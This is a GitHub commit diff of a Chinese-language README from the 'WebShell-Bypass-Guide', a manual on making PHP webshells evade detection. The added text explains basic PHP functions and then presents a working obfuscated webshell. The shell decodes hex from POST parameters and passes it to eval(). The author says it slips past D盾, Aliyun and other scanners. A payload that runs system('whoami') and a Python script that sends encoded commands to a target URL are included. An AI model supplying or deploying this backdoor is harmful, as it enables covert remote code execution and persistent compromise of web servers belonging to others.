Skip to content

Commit c16ec09

Browse files
authored
Update README.md
1 parent 028998d commit c16ec09

File tree

1 file changed

+193
-1
lines changed

1 file changed

+193
-1
lines changed

README.md

Lines changed: 193 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
![WebShell-Bypass-Guide](https://socialify.git.ci/AabyssZG/WebShell-Bypass-Guide/image?description=1&font=Jost&forks=1&issues=1&language=1&logo=https%3A%2F%2Favatars.githubusercontent.com%2Fu%2F54609266%3Fv%3D4&name=1&owner=1&pattern=Floating%20Cogs&stargazers=1&theme=Dark)
44

5-
**手册版本号:V1.2-20230610**
5+
**手册版本号:V1.3-20230807**
66

77
这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
88

@@ -207,6 +207,30 @@ __METHOD__ //当前所属的方法
207207
```
208208
第三种和第四种为短标识,当使用他们需要开启 `php.ini` 文件中的 `short_open_tag` ,不然会报错
209209

210+
### 0.8 $_POST变量
211+
212+
在 PHP 中,预定义的 `$_POST` 变量用于收集来自 `method="post"` 的表单中的值
213+
214+
```php
215+
$num1=$_POST['num1'];
216+
$num2=$_POST['num2'];
217+
print_r($_POST);
218+
```
219+
220+
当你在HTTP数据包Body传参时:
221+
```php
222+
num1=1&num2=2
223+
```
224+
225+
得到回显:
226+
```php
227+
Array
228+
(
229+
[num1] => 1
230+
[num2] => 2
231+
)
232+
```
233+
210234

211235
## 1# 回调类型函数
212236

@@ -335,6 +359,35 @@ print_r(array_filter($a1,"test_odd"));
335359
Array ( [3] => 3 )
336360
```
337361

362+
### 1.5 foreach()
363+
364+
**`foreach()` 方法用于调用数组的每个元素,并将元素传递给回调函数**
365+
366+
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
367+
368+
Demo:
369+
370+
```php
371+
$arr = array(1,2,3,4);
372+
//用foreach来处理$arr
373+
foreach($arr as $k=>$v) {
374+
$arr[$k] = 2 * $v;
375+
}
376+
print_r($arr);
377+
```
378+
379+
输出:
380+
381+
```php
382+
Array
383+
(
384+
[0] => 2
385+
[1] => 4
386+
[2] => 6
387+
[3] => 8
388+
)
389+
```
390+
338391

339392
## 2# 字符串处理类函数
340393

@@ -424,6 +477,18 @@ parse_str("name=Peter&age=43",$myArray);
424477
print_r($myArray); //Array ( [name] => Peter [age] => 43 )
425478
```
426479

480+
### 2.4 pack()
481+
482+
**`pack()` 函数函数把数据装入一个二进制字符串**
483+
484+
Demo:简单来说,就是将指定编码的数字转成字符串
485+
486+
```php
487+
echo pack("C3",80,72,80); //ASCII编码转换为PHP
488+
echo pack("H*",4161627973735465616d); //16进制编码转换为AabyssTeam
489+
```
490+
491+
其他参数请参考菜鸟教程: [https://www.runoob.com/php/func-misc-pack.html](https://www.runoob.com/php/func-misc-pack.html)
427492

428493

429494
## 3# 命令执行类函数
@@ -1296,6 +1361,133 @@ system('whoami');
12961361

12971362
当然这里使用到 `assert` 高危函数,只能用于 `php``5.*` 的版本,相关姿势读者不妨自行拓展一下哈哈~
12981363

1364+
### 12.2 样例二
1365+
1366+
这个免杀马是最近捕获到的,可以轻松过D盾、阿里云等一众查杀引擎~
1367+
1368+
![ll0sxg0e.png](https://blog.zgsec.cn/usr/uploads/2023/08/3308306080.png)
1369+
1370+
![ll0sx462.png](https://blog.zgsec.cn/usr/uploads/2023/08/3184468024.png)
1371+
1372+
这个样例使用了字符串截取+编解码转换+参数回调的手法,成功规避了正则匹配式,具有实战意义
1373+
1374+
```php
1375+
<?php
1376+
phpinfo();
1377+
class Car{
1378+
function encode(){
1379+
$num1=base64_encode($_POST['num']);
1380+
$num=base64_decode($num1);
1381+
echo "1";
1382+
foreach($_POST as $k => $v){
1383+
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1384+
}
1385+
@$post=base64_encode($_POST['Qxi*37yz']);
1386+
@$post1=base64_decode(@$post);
1387+
return $post1;
1388+
}
1389+
function Xt(){
1390+
return eval($this->encode());
1391+
}
1392+
}
1393+
$t=new Car;
1394+
$t->Xt();
1395+
?>
1396+
```
1397+
这时候,就可以执行POST传参:`num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62` 来执行whoami命令
1398+
1399+
这个PHP内定义了两个函数,分别是 `encode()``Xt()`,我们先看 `encode()`
1400+
1401+
```php
1402+
function encode(){
1403+
$num1=base64_encode($_POST['num']);
1404+
$num=base64_decode($num1);
1405+
echo "1";
1406+
foreach($_POST as $k => $v){
1407+
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1408+
}
1409+
@$post=base64_encode($_POST['Qxi*37yz']);
1410+
@$post1=base64_decode(@$post);
1411+
return $post1;
1412+
}
1413+
```
1414+
传入了两个参数,参数名分别为 `num``Qxi*37yz`,这个函数的输出为 `$post1`,关键就在于以下这一行代码:
1415+
1416+
```php
1417+
foreach($_POST as $k => $v){
1418+
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
1419+
}
1420+
```
1421+
然后我们根据上文提到的知识点0.8、1.5和2.1以及2.4,可以了解到这一行代码的意思:
1422+
1423+
- `substr()` 函数将传进去的 `Qxi*37yz` 参数字符串,删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容)
1424+
- `pack("H*",...)` 函数将处理后的 `Qxi*37yz` 参数字符串进行十六进制编码转换
1425+
- `foreach()` 将原本的 `$_POST` 变量替换为经过十六进制编码转换后的字符串
1426+
1427+
注:这里可能有些绕,多上手尝试一下就明白了
1428+
1429+
接下来我们来看 `Xt()` 这个函数:
1430+
1431+
```php
1432+
function Xt(){
1433+
return eval($this->encode());
1434+
}
1435+
```
1436+
它将 `encode()` 函数的执行结果带入到 `eval()` 高危函数当中,即:
1437+
1438+
```php
1439+
function Xt(){
1440+
return eval($post1); //encode()函数的输出为$post1
1441+
}
1442+
```
1443+
那假设我们要执行 `whoami` 命令,那就要让 `$post1` 等于 `system('whoami');`,这没毛病吧?
1444+
1445+
所以结合来看,我们先要生成16进制的字符串:
1446+
1447+
![whoami转十六进制.png](https://blog.zgsec.cn/usr/uploads/2023/08/3506909610.png)
1448+
1449+
但眼尖的师傅可能会发现,为什么最前面要加个 `a` 以及最后面要加个 `b` 呢?
1450+
那是因为上面有 `substr()` 函数啊,会删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容),小傻瓜~所以现在懂了吗?
1451+
1452+
所以整体参数的传参流程如下:
1453+
1454+
![参数传参流程.png](https://blog.zgsec.cn/usr/uploads/2023/08/4099814745.png)
1455+
1456+
- 刚开始传入参数:`num`=`2``Qxi*37yz`=`6173797374656d282777686f616d6927293b62`
1457+
- 第一步:先根据 `substr()`,从num=2开始截取到倒数第2位,于是 `Qxi*37yz` 便等于 `73797374656d282777686f616d6927293b`
1458+
- 第二步:再根据 `pack("H*",...)`,将 `Qxi*37yz`=`73797374656d282777686f616d6927293b` 从16进制转为字符串即 `system('whoami');`
1459+
- 第三步:最后根据 `foreach()`,将内容返还给原本的值,使得 `encode()` 函数的输出变量 `$post1``system('whoami');`
1460+
- 第四步:再在 `Xt()` 函数当中,用 `eval()` 高危函数执行php语句 `system('whoami');`,便成功执行系统命令 `whoami`
1461+
1462+
当然这个PHP木马也能用蚁剑来连接,前提是需要写一个编码器,如果你懂原理了,相信你分分钟就能写出来~
1463+
1464+
这里的话,微信的 `@Elvery` 师傅还写了一个直接生成Payload一键传参的Python脚本,师傅们可以参考一下:
1465+
```python
1466+
import requests
1467+
import base64
1468+
1469+
# 指定num参数和要执行的PHP代码
1470+
num = 5
1471+
php_code = 'echo "Hello, world!";'
1472+
1473+
# 把PHP代码转换为十六进制字符串
1474+
hex_code = php_code.encode().hex()
1475+
1476+
# 在字符串的开头和结尾加上num个任意字符
1477+
encoded_code = 'a'*num + hex_code + 'a'*num
1478+
1479+
# 发送POST请求
1480+
response = requests.post('http://your-target-url/path-to-php-file.php', data={
1481+
'num': num,
1482+
'Qxi*37yz': encoded_code,
1483+
})
1484+
1485+
# 打印服务器的响应
1486+
print(response.text)
1487+
```
1488+
1489+
![样例二成功执行命令.png](https://blog.zgsec.cn/usr/uploads/2023/08/2146327561.png)
1490+
12991491
所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
13001492

13011493

0 commit comments

Comments
 (0)